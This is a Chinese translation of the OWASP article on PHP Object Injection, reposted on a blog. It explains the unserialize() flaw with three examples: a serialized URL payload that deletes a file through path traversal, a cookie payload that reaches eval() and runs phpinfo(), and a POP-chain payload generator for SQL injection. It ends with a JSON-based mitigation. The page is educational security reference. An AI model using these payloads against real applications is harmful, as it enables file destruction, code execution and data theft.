PHP对象注入 PHP Object Injection


From:PHP Object Injection
Last revision (mm/dd/yy): 01/7/2015
译者:李秋豪 Wednesday, 24. May 2017 05:48PM

描述

PHP对象注入是一个允许骇客展开各种恶意攻击的应用级漏洞,比如说代码注入SQL注入目录遍历应用程序拒绝服务 (取决于具体的上下文/环境)。当用户的请求在传给反序列化函数unserialize()之前没有被正确的过滤时就会产生该漏洞。因为PHP允许对象序列化,攻击者就可以提交特定的序列化的字符串给一个具有该漏洞的unserialize函数,最终导致一个在该应用范围内的任意PHP对象注入。

为了正确的利用一个PHP对象注入漏洞,两个条件必须满足:

  1. 该网络应用必须有一个拥有PHP魔术方法(比如说__wakeup或__destruct)的类,以此来承载运行恶意攻击请求或者开始POP chain
  2. 所有攻击过程中利用的类必须在调用unserialize()之前就已经声明了,否则必须有类的自动加载

例子

例一

下面的例子显示了一个具有PHP对象注入漏洞的类(__destruct方法):

class Example1
{
   public $cache_file;

   function __construct()
   {
      // some PHP code...
   }

   function __destruct()
   {
      $file = "/var/www/cache/tmp/{$this->cache_file}";
      if (file_exists($file)) @unlink($file);
   }
}

// some PHP code...

$user_data = unserialize($_GET['data']);

// some PHP code...

在这个例子中,攻击者可以通过目录遍历攻击删掉任意一个文件,例如提交以下一个URL:

http://testsite.com/vuln.php?data=O:8:"Example1":1:{s:10:"cache_file";s:15:"../../index.php";}

例二

下面的例子显示了一个具有PHP对象注入漏洞的类(__wakeup方法):

class Example2
{
   private $hook;

   function __construct()
   {
      // some PHP code...
   }

   function __wakeup()
   {
      if (isset($this->hook)) eval($this->hook);
   }
}

// some PHP code...

$user_data = unserialize($_COOKIE['data']);

// some PHP code...

在这个例子中,攻击者可以通过发送如下的HTTP请求来进行代码注入攻击:

GET /vuln.php HTTP/1.0
Host: testsite.com
Cookie: data=O%3A8%3A%22Example2%22%3A1%3A%7Bs%3A14%3A%22%00Example2%00hook%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D
Connection: close

这里的cookie变量“data”是通过下面的脚本产生的:

class Example2
{
   private $hook = "phpinfo();";
}

print urlencode(serialize(new Example2));

例三

最后一个例子展示了利用“POP chain”进行SQL注入的可能性,例如利用一个__toString方法:

class Example3
{
   protected $obj;

   function __construct()
   {
      // some PHP code...
   }

   function __toString()
   {
      if (isset($this->obj)) return $this->obj->getValue();
   }
}

// some PHP code...

$user_data = unserialize($_POST['data']);

// some PHP code...

如果$user_data是一个“Example3”类的对象并且它在代码中会被当做一个字符串,那么它的__toString方法就会被调用。因为__toString会调用对象中的getValue获取对象中的属性,所以有可能将设置这个属性于任意对象并运行getValue方法——如果可以的话,否则__call方法就会被调用。假设以下类型在应用中是可获得的或者是自动加载的:

class SQL_Row_Value
{
   private $_table;

   // some PHP code...

   function getValue($id)
   {
      $sql = "SELECT * FROM {$this->_table} WHERE id = " . (int)$id;
      $result = mysql_query($sql, $DBFactory::getConnection());
      $row = mysql_fetch_assoc($result);

      return $row['value'];
   }
}

在这个例子中攻击者可能有机会通过提交POST请求进行SQL注入攻击,请求中的“DATA”参量按如下脚本生成:

class SQL_Row_Value
{
   private $_table = "SQL Injection";
}

class Example3
{
   protected $obj;

   function __construct()
   {
      $this->obj = new SQL_Row_Value;
   }
}

print urlencode(serialize(new Example3));

相关的控制方法

防范方法

请不要对用户的输入使用unserialize()进行反序列化,应该使用JSON的方法。

参考

PHP:反序列化
魔术方法
PHP RFC: 安全的反序列化unserialize()
PHP漏洞利用 Stefan Esser, POC 2009
PHP漏洞利用之代码重用/返回导向编程

转载于:https://www.cnblogs.com/liqiuhao/p/6900872.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值